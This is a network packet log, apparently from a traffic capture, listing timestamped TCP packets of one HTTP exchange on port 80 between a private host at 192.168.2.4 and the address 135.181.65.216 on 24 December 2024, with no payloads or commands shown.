Dec 24, 2024 22:26:59.577830076 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.578758001 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.578810930 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.579350948 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.579404116 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.579888105 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.579945087 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.579976082 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.580030918 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.580998898 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.581052065 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.581052065 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.581099987 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.582098961 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.582154036 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.582232952 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.582288980 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.583184004 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.583241940 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.583291054 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.583343983 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.584281921 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.584336042 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.584465027 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.584511995 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.585407972 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.585463047 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.585607052 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.585660934 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.586532116 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.586590052 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.586668015 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.586720943 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.587640047 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.587693930 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.587774038 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.587827921 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.588727951 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.588779926 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.588908911 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.588964939 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.589843035 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.589890957 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.589956045 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.590008020 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.590955019 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.591000080 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.591078997 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.591134071 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.592034101 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.592101097 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.592164993 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.592217922 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.593142986 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.593198061 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.593261003 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.593312025 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.594258070 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.594316006 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.594366074 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.594418049 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.595372915 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.595429897 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.595483065 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.595537901 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.596460104 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.596514940 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.596596003 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.596652031 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.597570896 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.597625017 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.597750902 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.597801924 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.598674059 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.598726988 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.598803997 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.598856926 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.599791050 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.599847078 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.599910975 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.599957943 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.600884914 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.600939989 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.601003885 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.601053953 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.602010965 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.602066040 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.602250099 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.602303028 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.603085995 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.603140116 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.603219032 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.603276014 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.604249001 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.604300022 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.651175976 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.651263952 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.651278973 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.651338100 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.651664019 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.651721001 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.651880026 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.651936054 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.652008057 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.652065039 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.653007984 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.653069019 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.653075933 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.653131008 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.654109001 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.654165983 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.742574930 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.742739916 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.742784023 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.742834091 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.743002892 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.743056059 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.743187904 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.743252993 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.744002104 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.744050026 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.744113922 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.744163036 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.745007992 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.745060921 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.745141029 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.745193005 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.746051073 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.746102095 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.746179104 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.746232033 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.747056007 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.747107029 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.747292042 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.747344017 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.748018980 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.748070002 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.748126030 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.748174906 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.748995066 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.749053955 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.749111891 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.749161005 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.749947071 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.750004053 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.750140905 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.750193119 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.751007080 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.751061916 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.751116991 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.751171112 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.751929045 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.751985073 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.752058029 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.752109051 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.752911091 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.752963066 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.753041029 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.753088951 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.753938913 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.753993988 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.754057884 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.754105091 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.754905939 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.754959106 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.755038023 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.755089045 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.755959988 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.756010056 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.756222963 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.756275892 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.756922007 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.756983042 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.757014036 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.757062912 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.757884979 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.757937908 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.758054972 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.758109093 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.758894920 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.758946896 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.759108067 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.759165049 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.759876013 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.759922028 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.760045052 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.760093927 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.760853052 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.760906935 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.761001110 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.761049986 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.761884928 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.761939049 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.761940956 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.761982918 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.762826920 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.762878895 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.762933969 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.762986898 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.764015913 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.764070988 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.764269114 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.764318943 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.764802933 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.764854908 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.764920950 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.764970064 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.765806913 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.765861988 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.765923023 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.765970945 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.766829967 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.766891956 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.766957045 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.767009020 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.767791986 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.767848015 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.767901897 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.767946959 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.768770933 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.768824100 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.768906116 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.768953085 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.769756079 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.769809961 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.769933939 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.769984961 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.770952940 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.771011114 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.771068096 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.771119118 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.771718979 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.771770000 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.771835089 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.771888018 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.772681952 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.772737026 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.772802114 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.772846937 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.773765087 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.773818016 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.773869038 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.773916006 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.774710894 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.774760008 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.774811029 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.774857998 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.775692940 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.775742054 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.776299953 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.776349068 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.776685953 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.776737928 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.776865005 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.776911020 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.777688980 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.777739048 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.777823925 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.777877092 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.778652906 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.778697968 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.779059887 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.779114962 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.779644966 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.779696941 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.780302048 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.780353069 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.780677080 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.780710936 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.780725956 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.780750990 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.781615019 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.781661987 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.782417059 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.782464981 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.783015013 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.783065081 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.783160925 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.783210993 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.783622026 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.783672094 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.783840895 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.783893108 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.784594059 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.784645081 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.784838915 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.784888983 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.785619020 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.785670996 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.785748005 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.785797119 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.786562920 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.786609888 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.786686897 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.786737919 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.787533045 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.787580013 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.787658930 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.787708044 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.788553953 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.788602114 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.788677931 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.788738012 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.789531946 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.789582014 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.789819956 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.789870024 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.790632963 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.790668964 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.790683985 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.790713072 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.843528986 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.843585014 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.843651056 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.843694925 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.843935966 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.843978882 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.844192982 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.844239950 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.844985962 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.845030069 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.845097065 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.845155001 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.845963001 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.846014977 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.934410095 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.934489012 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.934916973 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.934952974 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.934977055 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.935000896 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.935003996 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.935048103 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.935861111 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.935914040 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.936394930 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.936448097 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.936764002 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.936815023 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.937030077 CET	80	49730	135.181.65.216	192.168.2.4
